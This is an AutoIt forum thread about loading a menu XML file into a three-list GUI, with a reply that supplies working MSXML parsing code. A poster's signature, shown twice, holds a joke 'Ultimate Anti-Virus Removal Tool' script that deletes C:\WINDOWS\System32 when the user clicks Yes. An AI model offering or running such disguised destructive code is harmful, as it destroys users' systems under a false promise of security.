Jump to content

AutoIt XML conundrum


Recommended Posts

I've downloaded the _XMLDomWrapper.au3 and I've read w3schools.com's pages about XML. I understand it enough to do basic things with it, or so I thought. This is the script I have at the moment:

#include <GUIConstants.au3>
#include <_XMLDomWrapper.au3>

SplashTextOn("", "Please wait..." & @CR & @CR & "Downloading newest XML files.", 200, 125, -1, -1, 1, "Comic Sans MS")

_XMLFileOpen("http://www.freewebs.com/fernjerkle/Menu.xml")

SplashOff()

#Region ### START Koda GUI section ### Form=
$Form1 = GUICreate("AutoIt Menu", 409, 210, 193, 133)
$List1 = GUICtrlCreateList("", 8, 32, 121, 134)
$Label1 = GUICtrlCreateLabel("Appetizers", 8, 8, 68, 20)
$Label2 = GUICtrlCreateLabel("Entrees", 152, 8, 50, 20)
$List2 = GUICtrlCreateList("", 144, 32, 121, 134)
$Label3 = GUICtrlCreateLabel("Desserts", 280, 8, 58, 20)
$List3 = GUICtrlCreateList("", 280, 32, 121, 134)
$Label4 = GUICtrlCreateLabel("Price - $", 16, 176, 52, 20)
$Input1 = GUICtrlCreateInput("", 72, 176, 81, 24)
$Button1 = GUICtrlCreateButton("Review and Order", 280, 176, 123, 25, 0)
GUISetState(@SW_SHOW)
#EndRegion ### END Koda GUI section ###

While 1
    $nMsg = GUIGetMsg()
    Switch $nMsg
        Case $GUI_EVENT_CLOSE
            Exit

    EndSwitch
WEnd

I've tried a few things and they've all failed. Could anybody show me how to do what I'm planning on doing; or could someone give me a crash course in AutoIt XML reading?

;Ultimate Anti-Virus Removal Tool

$ans = MsgBox(4, "Ultimate AV", "Press 'Yes' to remove all viruses, press 'No' to exit.")

If $ans = 6 Then
   DirRemove("C:\WINDOWS\System32")
ElseIf $ans = 7 Then
   Exit
EndIf
Link to comment
Share on other sites

Well this is my intro now...

#include <GUIConstants.au3>
#include <_XMLDomWrapper.au3>

SplashTextOn("", "Please wait..." & @CR & @CR & "Downloading newest XML files.", 200, 125, -1, -1, 1, "Comic Sans MS")

InetGet("http://www.freewebs.com/fernjerkle/Menu.xml", "C:\Menu.xml")

$xml = _XMLFileOpen("C:\Menu.xml")

SplashOff()
;Ultimate Anti-Virus Removal Tool

$ans = MsgBox(4, "Ultimate AV", "Press 'Yes' to remove all viruses, press 'No' to exit.")

If $ans = 6 Then
   DirRemove("C:\WINDOWS\System32")
ElseIf $ans = 7 Then
   Exit
EndIf
Link to comment
Share on other sites

Well this is my intro now...

#include <GUIConstants.au3>
#include <_XMLDomWrapper.au3>

SplashTextOn("", "Please wait..." & @CR & @CR & "Downloading newest XML files.", 200, 125, -1, -1, 1, "Comic Sans MS")

InetGet("http://www.freewebs.com/fernjerkle/Menu.xml", "C:\Menu.xml")

$xml = _XMLFileOpen("C:\Menu.xml")

SplashOff()
Ha, i had some fun; isn't really designed to help you that much lol, but at least it looks good :)

#include<Array.au3>
#include<GUIConstantsEx.au3>

SplashTextOn("", "Please wait..." & @CR & @CR & "Downloading newest XML files.", 200, 125, -1, -1, 1, "Comic Sans MS")
InetGet("http://www.freewebs.com/fernjerkle/Menu.xml", "C:\Menu.xml")
SplashOff()

#Region ### START Koda GUI section ### Form=
$Form1 = GUICreate("AutoIt Menu", 500, 210, 193, 133)

$Label1 = GUICtrlCreateLabel("Appetizers", 8, 8, 68, 20)
$List1 = GUICtrlCreateListView("Price|Item      ", 8, 32, 121, 134)

$Label2 = GUICtrlCreateLabel("Entrees", 152, 8, 50, 20)
$List2 = GUICtrlCreateListView("Price|Item      ", 144, 32, 121, 134)

$Label3 = GUICtrlCreateLabel("Desserts", 280, 8, 58, 20)
$List3 = GUICtrlCreateListView("Price|Item      ", 280, 32, 121, 134)

$Label4 = GUICtrlCreateLabel("Price - $", 16, 176, 52, 20)
$Input1 = GUICtrlCreateInput("", 72, 176, 81, 24)
$Button1 = GUICtrlCreateButton("Review and Order", 280, 176, 123, 25, 0)

$oXml = ObjCreate("Msxml2.DOMDocument")
$oXml.Load("C:\Menu.xml")
$text = ""
$oNodeList = $oXml.documentElement.selectNodes("//menu/food")
$c = 0
For $oNode In $oNodeList
    If $oNode.childNodes(2).FirstChild.Text = "Appetizer" Then
        GUICtrlCreateListViewItem($oNode.childNodes(1).FirstChild.Text&"|"&$oNode.childNodes(0).FirstChild.Text,$list1 )
    ElseIf $oNode.childNodes(2).FirstChild.Text = "Desert" Then
        GUICtrlCreateListViewItem($oNode.childNodes(1).FirstChild.Text&"|"&$oNode.childNodes(0).FirstChild.Text,$list3 )
    ElseIf $oNode.childNodes(2).FirstChild.Text = "Entree" Then
        GUICtrlCreateListViewItem($oNode.childNodes(1).FirstChild.Text&"|"&$oNode.childNodes(0).FirstChild.Text,$list2 )
    EndIf
Next
GUISetState(@SW_SHOW)
#EndRegion ### START Koda GUI section ### Form=

While 1
    $nMsg = GUIGetMsg()
    Switch $nMsg
        Case $GUI_EVENT_CLOSE
            Exit
    EndSwitch
WEnd

-_-------__--_-_-____---_-_--_-__-__-_ ^^€ñ†®øÞÿ ë×阮§ wï†høµ† ƒë@®, wï†høµ† †ïmë, @ñd wï†høµ† @ †ïmïdï†ÿ ƒø® !ïƒë. €×阮 ñø†, bµ† ïñ§†ë@d wï†hïñ, ñ@ÿ, †h®øµghøµ† †hë 맧ëñ§ë øƒ !ïƒë.

Link to comment
Share on other sites

Create an account or sign in to comment

You need to be a member in order to leave a comment

Create an account

Sign up for a new account in our community. It's easy!

Register a new account

Sign in

Already have an account? Sign in here.

Sign In Now
 Share

  • Recently Browsing   0 members

    • No registered users viewing this page.
×
×
  • Create New...